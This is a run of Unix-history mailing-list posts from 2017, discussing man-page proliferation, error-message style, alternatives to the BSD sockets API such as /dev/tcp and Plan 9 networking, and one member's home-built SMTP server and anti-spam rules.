meanwhile the efflorescence grows (Fedora 26) to&nbsp;&nbsp;&nbsp; 482&nbsp;&nbsp;&nbsp;&nbsp; 482&nbsp;&nbsp;&nbsp; 7000From: Doug McIlroy &lt;doug at cs.dartmouth.edu&gt;Sent: Thu, 21 Sep 2017 15:41:41To: tuhs at minnie.tuhs.orgSubject: Re: [TUHS] Happy birthday, Dennis Ritchie!...With hindsight, I realize that the thousand emacs commands were but aforetaste of open-source exuberance--witness this snippet from Linux:&nbsp;&nbsp;&nbsp;!ls /usr/share/man/man2|wc&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;468 &nbsp; &nbsp; 468 &nbsp; &nbsp;6766Even a &quot;kernel&quot; is as efflorescent as a tropical rainforest.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170921/79f43dd6/attachment.html>

From dot at dotat.at  Fri Sep 22 03:33:41 2017
From: dot at dotat.at (Tony Finch)
Date: Thu, 21 Sep 2017 18:33:41 +0100
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
Message-ID: <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>

Lyndon Nerenberg <lyndon at orthanc.ca> wrote:
> > On Sep 19, 2017, at 4:35 PM, Theodore Ts'o <tytso at mit.edu> wrote:
> >
> > If you take a look at how perl handles its man pages, with 188 man
> > pages in section 1:
>
> ... you quickly recognize the difference between a manpage (i.e.
> reference page) and a user manual.

I think it's a shame that the non-man-page parts of the Unix documentation
set have been neglected, in that you don't often get newer programs
following the style of the USD / SMM / PSD guides.

Tony.
-- 
f.anthony.n.finch  <dot at dotat.at>  http://dotat.at/  -  I xn--zr8h punycode
Forties: South 5 to 7, veering west 4 or 5, backing south later. Slight or
moderate, occasionally rough in far northeast. Rain then fair. Poor becoming
good.


From norman at oclsc.org  Fri Sep 22 03:46:10 2017
From: norman at oclsc.org (Norman Wilson)
Date: Thu, 21 Sep 2017 13:46:10 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
Message-ID: <1506015974.14196.for-standards-violators@oclsc.org>

On Tue, Sep 19, 2017, at 10:42, Larry McVoy wrote:
> slib.c:1653 (bk-7.3): open failed: permission denied
> 
> which is way way way more useful than just permission denied.

Random832 replied:

  Well. It's less useful in one way - it doesn't say what file it was
  trying to open. You could pass the filename *instead* of "open failed",
  but that still omits the issue I had pointed out: what were you trying
  to open the file for (at the very least, were you trying to read, write,
  or exec it). Ideally the function would have a format and arguments.

====

Exactly.

The string interpretation of errno is just another
item of data that goes in an error message.  There is
no fixed place it belongs, and it doesn't always
belong there, because all that is error does not
fail from a syscall (or library routine).

I do often insert a function of the form

	void errmsg(char *, ...)

in my C programs.  It takes printf-like arguments.
Normally they just get passed to vfprintf(stderr, ...),
though sometimes there is something more esoteric,
and often fprintf(stderr, "%s: ", progname) ends up
in front.

But errmsg never knows anything about errno.  Why
should it?  It's supposed to send complaints to
a standard place; it's not supposed to invent the
complaints for itself!  If an errno is involved,
I write something like
	errmsg("%s: cannot open: %s", filename, strerror(errno));
(Oh, yes, errmsg appends a newline too.  The idea
is to avoid cluttering code with minutiae of how
errors are reported.)

I don't print the source code filename or line number
except for `this shouldn't have happened' errors.
For routine events like the user gave the wrong
filename or it had the wrong permissions or his
data are malformed, pointers to the source code are
just unhelpful clutter, like the complicated
%JARGON-OBSCURE-ABBREVIATION prefixes that accompanied
every official error message in VMS.

Of course, if the user's data are malformed, he
should be told which file has the problem and
where in the file.  But that's different from
telling him that line 193 of some file he doesn't
have and will probably never see contains the system
call that reported that he typed the wrong filename.

Norman Wilson
Toronto ON


From chet.ramey at case.edu  Fri Sep 22 04:26:20 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Thu, 21 Sep 2017 14:26:20 -0400
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <20170921161040.GC25650@mcvoy.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
 <20170921161040.GC25650@mcvoy.com>
Message-ID: <901063e8-a772-34ab-99cf-de61874bf689@case.edu>

On 9/21/17 12:10 PM, Larry McVoy wrote:

> I'm pretty sure the two main System V based TCP/IP stacks were STREAMS
> based: the Lachman one (which I ported to the ETA-10 and to SCO Unix)
> and the Mentat one that was done for Sun.  The socket API was sort of
> bolted on top of the STREAMS stuff, you could get to the STREAMS stuff
> directly (I think, it's been a long time).

Here's an article describing the work Sun did (whether it started at Mentat
or not) to initially provide the socket interface on SVR4:

http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.29.7181&rep=rep1&type=pdf

It was my impression that they started with the BSD kernel implementation
and used it to create `socklib' and `sockmod'.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From gtaylor at tnetconsulting.net  Fri Sep 22 04:30:30 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Thu, 21 Sep 2017 12:30:30 -0600
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <1506004460.S.5361.30122.f4-234-225.1506011900.16475@webmail.rediffmail.com>
References: <1506004460.S.5361.30122.f4-234-225.1506011900.16475@webmail.rediffmail.com>
Message-ID: <1b487d81-3c6d-2f64-4f2d-a873456129d7@tnetconsulting.net>

On 09/21/2017 10:38 AM, Mutiny  wrote:
> It seems so that the large majority of us runs Linux, while others run 
> (free)bsd or OSX.

I wonder how much of this fact is based on the proliferation of cheap 
(in all senses of the word) x86 hardware vs the availability of hardware 
to run more traditional Unixes on.

I know a couple of guys that would run AIX in a heartbeat if they could 
for their day to day workstation tasks.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170921/afcb9a51/attachment.bin>

From steffen at sdaoden.eu  Fri Sep 22 04:39:24 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Thu, 21 Sep 2017 20:39:24 +0200
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
Message-ID: <20170921183924.oaj23%steffen@sdaoden.eu>

Tony Finch <dot at dotat.at> wrote:
 |Lyndon Nerenberg <lyndon at orthanc.ca> wrote:
 |>> On Sep 19, 2017, at 4:35 PM, Theodore Ts'o <tytso at mit.edu> wrote:
 |>>
 |>> If you take a look at how perl handles its man pages, with 188 man
 |>> pages in section 1:
 |>
 |> ... you quickly recognize the difference between a manpage (i.e.
 |> reference page) and a user manual.
 |
 |I think it's a shame that the non-man-page parts of the Unix documentation
 |set have been neglected, in that you don't often get newer programs
 |following the style of the USD / SMM / PSD guides.

The problem being that even FreeBSD dropped them from the base
system.  I think only NetBSD still ships with it.  And Linux never
had that stuff anyway, only thanks to the dedicated Linux
man-pages project it is that you have anything usable at all (when
not sticking with the GLibC info manual).  I do not want to be
back in 1999 when i desperately searched for just about anything
but copyright notices in /usr/share/doc (or /usr/doc, i forgot),
and that should be /usr/share/copyrights still for most of the
things.

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From bakul at bitblocks.com  Fri Sep 22 04:56:49 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 21 Sep 2017 11:56:49 -0700
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: Your message of "Thu, 21 Sep 2017 09:13:38 -0700."
 <201709211613.v8LGDcuN015299@darkstar.fourwinds.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
 <201709211613.v8LGDcuN015299@darkstar.fourwinds.com>
Message-ID: <20170921185705.2A31A156E523@mail.bitblocks.com>

On Thu, 21 Sep 2017 09:13:38 -0700 Jon Steinhart <jon at fourwinds.com> wrote:
Jon Steinhart writes:
> 
> Maybe this is naive of me, but I have never liked parts of the sockets
> interface.  I understand that at some level it was a political/legal
> keeping the networking code independent of the rest of the kernel.
> >From a technical and historical standpoint, I view it as the tip of
> the iceberg bloating the number of system calls.

In a sense the socket interface is a lower level interface
compared to other syscalls. But complicated by the fact that
it tries to be general.

> In particular, I have often thought that it would have been a better
> and more consistent with the philosophy to have it implemented as
> open("/dev/tcp") and so on.  Granted that networking added some new
> functionality that justified some of the system calls, just not socket().

This is more or less how plan9 networking is done.  Among
other things you can write scripts that can do networking even
though the shell knows nothing about networking.  See
    http://doc.cat-v.org/plan_9/4th_edition/papers/net/

The key is to realize that each protocol defines its own
namespace so this fits naturally in plan9.  Allowing services
(programs, kernel or drivers) to define their own namespaces
and making them accessible via a tiny interface to any program
is the main invention of plan9.  Similarly ctl files instead
of ioctls.


From steve at quintile.net  Fri Sep 22 05:13:50 2017
From: steve at quintile.net (Steve Simon)
Date: Thu, 21 Sep 2017 20:13:50 +0100
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <20170921185705.2A31A156E523@mail.bitblocks.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
 <201709211613.v8LGDcuN015299@darkstar.fourwinds.com>
 <20170921185705.2A31A156E523@mail.bitblocks.com>
Message-ID: <081D35B4-094C-490E-981D-0ABC9D808EE9@quintile.net>

sockets and streams, but what about tli (i think) transport level interface - that exists in one of the sys-v variants.

maybe that was streams and i just didn't realise or maybe it was something else?

-Steve


> On 21 Sep 2017, at 19:56, Bakul Shah <bakul at bitblocks.com> wrote:
> 
>> On Thu, 21 Sep 2017 09:13:38 -0700 Jon Steinhart <jon at fourwinds.com> wrote:
>> Jon Steinhart writes:
>> 
>> Maybe this is naive of me, but I have never liked parts of the sockets
>> interface.  I understand that at some level it was a political/legal
>> keeping the networking code independent of the rest of the kernel.
>>> From a technical and historical standpoint, I view it as the tip of
>> the iceberg bloating the number of system calls.
> 
> In a sense the socket interface is a lower level interface
> compared to other syscalls. But complicated by the fact that
> it tries to be general.
> 
>> In particular, I have often thought that it would have been a better
>> and more consistent with the philosophy to have it implemented as
>> open("/dev/tcp") and so on.  Granted that networking added some new
>> functionality that justified some of the system calls, just not socket().
> 
> This is more or less how plan9 networking is done.  Among
> other things you can write scripts that can do networking even
> though the shell knows nothing about networking.  See
>    http://doc.cat-v.org/plan_9/4th_edition/papers/net/
> 
> The key is to realize that each protocol defines its own
> namespace so this fits naturally in plan9.  Allowing services
> (programs, kernel or drivers) to define their own namespaces
> and making them accessible via a tiny interface to any program
> is the main invention of plan9.  Similarly ctl files instead
> of ioctls.



From bakul at bitblocks.com  Fri Sep 22 05:31:47 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 21 Sep 2017 12:31:47 -0700
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <081D35B4-094C-490E-981D-0ABC9D808EE9@quintile.net>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
 <201709211613.v8LGDcuN015299@darkstar.fourwinds.com>
 <20170921185705.2A31A156E523@mail.bitblocks.com>
 <081D35B4-094C-490E-981D-0ABC9D808EE9@quintile.net>
Message-ID: <AE3CB5A3-EF97-480E-8D6C-050EBF606FB3@bitblocks.com>

On Sep 21, 2017, at 12:13 PM, Steve Simon <steve at quintile.net> wrote:
> 
> sockets and streams, but what about tli (i think) transport level interface - that exists in one of the sys-v variants.
> 
> maybe that was streams and i just didn't realise or maybe it was something else?

Never played with TLI. Not a sys-v fan.



From norman at oclsc.org  Fri Sep 22 06:05:05 2017
From: norman at oclsc.org (Norman Wilson)
Date: Thu, 21 Sep 2017 16:05:05 -0400
Subject: [TUHS] Who is running their own mail server and what do you run?
Message-ID: <1506024308.16659.for-standards-violators@oclsc.org>

I run my own mail server, on systems in my basement.
It is a setup that no one in their right mind would
replicate, but the details may actually be proper for
this list.

A firewall/gateway system runs a custom SMTP server,
which can do simple filtering based on the SMTP envelope,
SMTP commands, calling IP address and hostname.  It is
also able to call external commands to pass judgement on
a caller or a particular message.

If mail is accepted, it is passed through a simple
MTA and a stupidly-simple queueing setup (the latter
made of shell scripts) to be sent via SMTP to a
different internal system, which uses the same SMTP
server and MTA to deliver to local mailboxes.

Outbound mail is more or less the obvious inverse.

I have put off naming names for dramatic effect.  The
two systems in question are MicroVAX IIIs running
my somewhat-hacked-up version of post-10/e Research
UNIX.  The MTA is early-1990s-vintage upas.  The SMTP
server, SMTP sender, and queuing stuff are my own.

I wrote the SMTP server originally not long after I left
Bell Labs; I was now in a world where sendmail was the
least-troublesome MTA, but in those days every month
brought news of a new sendmail vulnerability, so I wrote
my own simple server to act as a condom.  Over time it
grew a bit, as I became interested in problems like
what sorts of breakin attempts are there in real life
(back then one received occasional DEBUG or WIZ commands,
but I haven't seen any since the turn of the century);
what sorts of simple filtering at the SMTP level will
get rid of most junk mail.  The code is more complicated
than it used to be, but is still small enough that I am
reasonably confident that it is safe to expose to the
network.

The SMTP sender and the queueing scripts came later,
when I decided to host my own mail.  Both were designed
in too much of a hurry.

There is no official spam filtering (no bogofilter or
the like).  A few simple rules that really just enforce
aspects of the SMTP standard seem to catch most junk
callers: HELO argument must contain at least one . (standard
says it must be your FQDN) and must not be *.* (I see dozens
of those every day!); sender must not speak until my server
has issued a complete greeting (I follow Wietse Venema in
this: send a line with a continuation marker first, then
sleep five seconds or so, then send a finish).  I also
have a very simple, naive greylisting implementation that
wouldn't work well for a site with lots of users, but is
fine for my personal traffic.  The greylisting is implemented
with a pair of external shell scripts.

I have had it in mind for a long time to consult the Spamhaus
XBL too.  It would be easy enough to do with another plug-in
shell script.  There are stupid reasons having to do with my
current DNS setup that make that impractical for now.

The mail setup works, but is showing its age, as is the
use of Research UNIX and such old, slow hardware as a network
gateway.  One of these years, when I have the time, I'd like
first to redo the mail setup so that mailboxes are stored
on my central file server (a Sun X2200 running Solaris 10,
or perhaps something illumos-based by the time I actually
do all this); then set up a new gateway, probably based on
OpenBSD.  Perhaps I should calculate how much hardware I
could buy from the power savings of turning off just one of
the two MicroVAXes for a year.

I have yet to see an MTA that is spare enough for my taste,
but the old upas code just doesn't quite do what I want any
more, and is too messy to port around.  (Pursuant to the
conversation earlier here about autoconf: these days I try
to need no configuration magic at all, which works as long
as I stick to ISO C and POSIX and am careful about networking.
upas was written in messier days.)  At the moment I'm leaning
toward qmail, just because for other reasons I'm familiar with
it, though for my personal use I will want to make a few changes
here and there.  But I'll want to keep my SMTP server because
I am still interested in what goes on there.

Norman Wilson
Toronto ON


From cym224 at gmail.com  Fri Sep 22 06:15:30 2017
From: cym224 at gmail.com (Nemo)
Date: Thu, 21 Sep 2017 16:15:30 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <1505988701.S.4149.14706.f4-234-163.1506014581.7525@webmail.rediffmail.com>
References: <201709211011.v8LAB39V022229@coolidge.cs.Dartmouth.EDU>
 <1505988701.S.4149.14706.f4-234-163.1506014581.7525@webmail.rediffmail.com>
Message-ID: <CAJfiPzwdf9C6RSvOgiHp_3LzUMT2=5wR3EwuvL6o5Y3aSHg+Ww@mail.gmail.com>

On 21/09/2017, Mutiny <mutiny.mutiny at rediffmail.com> wrote:
> meanwhile the efflorescence grows (Fedora 26) to
>    482     482    7000

> From: Doug McIlroy <doug at cs.dartmouth.edu>
> With hindsight, I realize that the thousand emacs commands were but a
> foretaste of open-source exuberance--witness this snippet from Linux:
>   !ls /usr/share/man/man2|wc
>       468     468    6766

Hhmmm... On Solaris 10/sparc:
  wc /usr/share/man/man1/wc.1
     138     467    3053


From rminnich at gmail.com  Fri Sep 22 06:15:42 2017
From: rminnich at gmail.com (ron minnich)
Date: Thu, 21 Sep 2017 20:15:42 +0000
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <AE3CB5A3-EF97-480E-8D6C-050EBF606FB3@bitblocks.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
 <201709211613.v8LGDcuN015299@darkstar.fourwinds.com>
 <20170921185705.2A31A156E523@mail.bitblocks.com>
 <081D35B4-094C-490E-981D-0ABC9D808EE9@quintile.net>
 <AE3CB5A3-EF97-480E-8D6C-050EBF606FB3@bitblocks.com>
Message-ID: <CAP6exYJd9NNiLhRtnYa5ZeNoykAE+8UEgZY8PQXRmTnF4coZ9Q@mail.gmail.com>

you can go back and find an early RFC which discusses the notion of
/dev/tcp etc. I think I referenced it the last time this question came up.

In that rfc, the idea of /dev/tcp and so on was advanced. To connect to
harv, one might create /dev/tcp/harv, for example. It was not quite right.
How do you name a port? What file system operation in Unix corresponds to
what socket operation? There were lots of efforts from 77 or so on to get
sockets APIs done in a Unix style, i.e. not the style we ended up with, but
AFAIK nobody really worked it out until Plan 9 did it.

While it is true that socket()/bind/listen/accept/connect have stood the
test of time, I know when they were introduced many people thought of that
API as the first break in the Unix model, and a wrong turn, one that was
never fixed.

It's very easy to create a "file system" model for the network in a way
that doesn't make sense, e.g. if I have /dev/tcp/harv, and mv it to
/dev/tcp/prep, does that mean I close the connection to harv and open one
to prep? And so on. These issues were covered really nicely in a talk Rob
Pike gave in the 90s, but I can't find those slides any more and neither
can he. They're probably still on the venti server in the Unix room ... :-)

For an example of (IMHO) not getting it right, see:
http://www.cs.vu.nl/~herbertb/papers/osreview2008-2.pdf

I think anyone looking to put something like a network stack in the name
space should study on what Plan 9 did, not because it's the "right" or
"only' way to do it, but it's a way that worked.

But overall, in the 1977 timeframe, when (IIRC) there were no synthetic
file systems, I think we did not know how to think about "networks in the
file system" and we got what we got. By the time it was worked out, well,
it was too late to change.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170921/143613a4/attachment.html>

From clemc at ccc.com  Fri Sep 22 06:34:25 2017
From: clemc at ccc.com (Clem Cole)
Date: Thu, 21 Sep 2017 16:34:25 -0400
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <CAP6exYJd9NNiLhRtnYa5ZeNoykAE+8UEgZY8PQXRmTnF4coZ9Q@mail.gmail.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
 <201709211613.v8LGDcuN015299@darkstar.fourwinds.com>
 <20170921185705.2A31A156E523@mail.bitblocks.com>
 <081D35B4-094C-490E-981D-0ABC9D808EE9@quintile.net>
 <AE3CB5A3-EF97-480E-8D6C-050EBF606FB3@bitblocks.com>
 <CAP6exYJd9NNiLhRtnYa5ZeNoykAE+8UEgZY8PQXRmTnF4coZ9Q@mail.gmail.com>
Message-ID: <CAC20D2OxxZrStdUqj5kns07LvKG88SVx+mFrcLRvOhak=FMcHQ@mail.gmail.com>

On Thu, Sep 21, 2017 at 4:15 PM, ron minnich <rminnich at gmail.com> wrote:

>
>
>
> In that rfc, the idea of /dev/tcp and so on was advanced. To connect to
> harv, one might create /dev/tcp/harv, for example. It was not quite right.
> How do you name a port?
>
​The way we did in an early version was a crude hack in the nami.​
 /dev/tcp/
​host/opt1,opt2,opt3...
 It turns out nami left the unparsed chars alone and you could reach over
and grab them.  So after
/dev/tcp
was called the rest of the code did the work.   IIRC, Apollo Domain did
something similar as did the ChaosNet code.

The sockets stuff was something Joy created to compete with the CMU Accent
networking system.  Remember CSRG did not have the responsibility to
support networking on UNIX, BBN did.  The IP/TCP stack had been developed
by Gurwitz et al at BBN and did use the open/close/ioctl interface.    CMU
was developing Accent on the Triple Drip PascAlto (aka the Perq) and had a
formal networking model that was very clean and sexy.  There were a lot of
people interested in workstations, the Andrew project (MIT is about to
start Athena etc).   So Bill creates the sockets interface, and to show
that UNIX could be just as modern as Accent.

​He puts the BBN stack behind the interface.​   When 4.2 ships, no one
remembers the BBN API, it is th API that lived.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170921/4bab3a14/attachment.html>

From torek at torek.net  Fri Sep 22 06:36:38 2017
From: torek at torek.net (Chris Torek)
Date: Thu, 21 Sep 2017 13:36:38 -0700
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: Your message of "Thu, 21 Sep 2017 09:17:44 -0700."
 <20170921161744.GD25650@mcvoy.com>
Message-ID: <201709212036.v8LKac1u063236@elf.torek.net>

>... I've never been fond of the socket API though I
>am sympathetic, it's easy to do the easy parts as /dev/tcp but as I
>recall there are all sorts of weird cases that don't fit.

There's no reason it could not be done literally with entries
similar to /dev ones, since each socket() takes some arguments
(domain, type, protocol) which could be represented as directly
as:

    /socket/domain/type/protocol_or_default

for instance.  For the typical s = socket(PF_INET, SOCK_STREAM, 0)
you would open "/socket/inet/stream/tcp".  To distinguish
between UDP and RDP you'd open "/socket/inet/dgram/udp" vs
"/socket/inet/dgram/rdp".  Of course these days there's a
<type> constant for reliable datagram, and some of these are
just overcomplicating things: /socket/inet/tcp, /socket/inet/icmp,
etc., would actually suffice, but there's an obvious one
to one mapping from "socket" arguments to strings under
"/socket" or whatever top level name you want.

More fundamentally, a socket itself is only "half initialized".
It's neither bound to any local address, nor connected to any
remote address.  The BSD kernel interface introduced two
system calls, bind() and connect(), to let you specify these
two halves.  But these two calls are wrong!  It needs to be
*one* call, that does both operations simultaneously, so as to
allow you to specify that you want the system to provide the
local or remote address.  You supply one or both.  To supply
only one, pass in a NULL for the other one.

 * You supply only the remote address: "I want to connect to
   someone and I know their address, so just pick a local one
   that works."  This is currently written as connect().

 * You supply only the local address: "I want to be a server."
   This is currently written as bind() followed by listen()
   followed by a series of accept()s.  There's no reason for
   a separate listen() call (it takes a "backlog" argument but
   in practice everyone defaults it and the kernel does strange
   manipulations on it.)  This also knocks out the need for
   SO_REUSEADDR, because the kernel can tell at the time of
   the call that you are asking to be a server.  Either someone
   else already is (error) or you win (success).

 * You supply both halves at the same time.  (This is the
   special case FTP requires.)  "I want to connect to someone
   and I know he expects me to be address <L>.")

   This is a rare special case.  We need a way to reserve an
   address.  But it's rare, let's make *it* the complicated one.

   If you supply both halves at the same time, you can pass
   pointers to two all-zero addresses, both local and remote.
   This is different from passing in a NULL ("I don't care"): it
   means "I do care, get me an address" (reserving it) along with
   "I can't actually connect yet".

   Now you have the "3/4ths done" socket.  You know what your
   local address will be.  You give this to the remote, and
   call the system call again with the other guy's IP address
   this time.

   That's not optimal (sometimes the local address you want to
   use depends on the remote address you will use), but it's what
   the existing system calls give you anyway, as you can't call
   connect() first, you must call bind() first.

Also, the profusion of system calls (send, recv, sendmsg, recvmsg,
recvfrom) is quite unnecessary: at most, one needs the equivalent
of sendmsg/recvmsg.

So we could right away do this:

   bind(), listen(), connect()     =>     setconn()
   send(), sendmsg()               =>     sendmsg()
   recv(), recvfrom(), recvmsg()   =>     recvmsg()

even without figuring out how to properly implement /dev/tcp
or whatever.

Of course, it's a bit late. :-)

Chris


From gtaylor at tnetconsulting.net  Fri Sep 22 07:02:53 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Thu, 21 Sep 2017 15:02:53 -0600
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <1506024308.16659.for-standards-violators@oclsc.org>
References: <1506024308.16659.for-standards-violators@oclsc.org>
Message-ID: <d0bb6851-bf44-c897-1a89-0c6cd5df3960@tnetconsulting.net>

On 09/21/2017 02:05 PM, Norman Wilson wrote:
> I run my own mail server, on systems in my basement. 
>  It is a setup that no one in their right mind would
> replicate,

Maybe ... maybe not.

I think a number of TUHS subscribers enjoy special configurations.

> but the details may actually be proper for this list.

I'm only replying to the historical aspects.

> A firewall/gateway system runs a custom SMTP server, 
> which can do simple filtering based on the SMTP envelope, 
> SMTP commands, calling IP address and hostname.  It is 
> also able to call external commands to pass judgement on 
> a caller or a particular message.
> 
> If mail is accepted, it is passed through a simple 
> MTA and a stupidly-simple queueing setup (the latter 
> made of shell scripts) to be sent via SMTP to a 
> different internal system, which uses the same SMTP 
> server and MTA to deliver to local mailboxes.
> 
> Outbound mail is more or less the obvious inverse.
> 
> I have put off naming names for dramatic effect.  The 
> two systems in question are MicroVAX IIIs running 
> my somewhat-hacked-up version of post-10/e Research 
> UNIX.  The MTA is early-1990s-vintage upas.  The SMTP 
> server, SMTP sender, and queuing stuff are my own.

IMHO the dramatic effect was warranted.  (I was thinking that it's not 
too complex up until you said MicroVAZ III.)

It sounds to me like your MTA is completely separate from the SMTP 
stack.  -  Would I be correct in guessing that your SMTP stack reads 
from and writes to ""queues that look like mailboxes to your MTA?

By the way, what you've done sounds very impressive, and likely challenging.

> I wrote the SMTP server originally not long after I left 
> Bell Labs; I was now in a world where sendmail was the 
> least-troublesome MTA, but in those days every month 
> brought news of a new sendmail vulnerability, so I wrote 
> my own simple server to act as a condom.

I doubt that many of todays script kiddies would do such a thing.  I 
like it.

> Over time it 
> grew a bit, as I became interested in problems like 
> what sorts of breakin attempts are there in real life 
> (back then one received occasional DEBUG or WIZ commands, 
> but I haven't seen any since the turn of the century); 
> what sorts of simple filtering at the SMTP level will 
> get rid of most junk mail.  The code is more complicated 
> than it used to be, but is still small enough that I am 
> reasonably confident that it is safe to expose to the 
> network.
> 
> The SMTP sender and the queueing scripts came later, 
> when I decided to host my own mail.  Both were designed 
> in too much of a hurry.

So, what was SMTP used for before you hosted your own email?  Was it a 
minimal implementation to get logs / outgoing messages off of the box?

> There is no official spam filtering (no bogofilter or 
> the like).  A few simple rules that really just enforce 
> aspects of the SMTP standard seem to catch most junk 
> callers: HELO argument must contain at least one . (standard 
> says it must be your FQDN) and must not be *.* (I see dozens 
> of those every day!); sender must not speak until my server 
> has issued a complete greeting (I follow Wietse Venema in 
> this: send a line with a continuation marker first, then 
> sleep five seconds or so, then send a finish).  I also 
> have a very simple, naive greylisting implementation that 
> wouldn't work well for a site with lots of users, but is 
> fine for my personal traffic.  The greylisting is implemented 
> with a pair of external shell scripts.
> 
> I have had it in mind for a long time to consult the Spamhaus 
> XBL too.  It would be easy enough to do with another plug-in 
> shell script.  There are stupid reasons having to do with my 
> current DNS setup that make that impractical for now.
> 
> The mail setup works, but is showing its age, as is the 
> use of Research UNIX and such old, slow hardware as a network 
> gateway.  One of these years, when I have the time, I'd like 
> first to redo the mail setup so that mailboxes are stored 
> on my central file server (a Sun X2200 running Solaris 10, 
> or perhaps something illumos-based by the time I actually 
> do all this); then set up a new gateway, probably based on 
> OpenBSD.  Perhaps I should calculate how much hardware I 
> could buy from the power savings of turning off just one of 
> the two MicroVAXes for a year.

Could you keep your working configuration and save power by migrating 
your configuration to emulation?  Perhaps on a Raspberry Pi or the likes.

> I have yet to see an MTA that is spare enough for my taste, 
> but the old upas code just doesn't quite do what I want any 
> more, and is too messy to port around.  (Pursuant to the 
> conversation earlier here about autoconf: these days I try 
> to need no configuration magic at all, which works as long 
> as I stick to ISO C and POSIX and am careful about networking. 
>  upas was written in messier days.)  At the moment I'm leaning 
> toward qmail, just because for other reasons I'm familiar with 
> it, though for my personal use I will want to make a few changes 
> here and there.  But I'll want to keep my SMTP server because 
> I am still interested in what goes on there.
> 
> Norman Wilson
> Toronto ON



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170921/22ae2cf5/attachment.bin>

From wkt at tuhs.org  Fri Sep 22 08:34:20 2017
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 22 Sep 2017 08:34:20 +1000
Subject: [TUHS] Excessive bouncing ... argh!
Message-ID: <20170921223420.GA27231@minnie.tuhs.org>

All, overnight the mail list blocked about 60 people because of excessive
bouncing. It was probably because the list has been busy, and the bounce
threshold for the (mostly gmail) addresses was exceeded. I've manually
re-enabled them all.

I have installed the script that strips DKIM and ARC header lines before
the list software processes the inbound e-mails. We will see if that helps.

Apologies, Warren



From dave at horsfall.org  Fri Sep 22 09:26:49 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Fri, 22 Sep 2017 09:26:49 +1000 (EST)
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <201709211613.v8LGDcuN015299@darkstar.fourwinds.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
 <201709211613.v8LGDcuN015299@darkstar.fourwinds.com>
Message-ID: <alpine.BSF.2.21.1709220924160.89458@aneurin.horsfall.org>

On Thu, 21 Sep 2017, Jon Steinhart wrote:

> In particular, I have often thought that it would have been a better and 
> more consistent with the philosophy to have it implemented as 
> open("/dev/tcp") and so on.  Granted that networking added some new 
> functionality that justified some of the system calls, just not 
> socket().

An old Unix manual referred to preferring "/dev/net" but that would've 
been a 9-track even parity tape drive under the nomenclature at the 
time...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From dave at horsfall.org  Fri Sep 22 09:34:28 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Fri, 22 Sep 2017 09:34:28 +1000 (EST)
Subject: [TUHS] UNIX of choice these days?
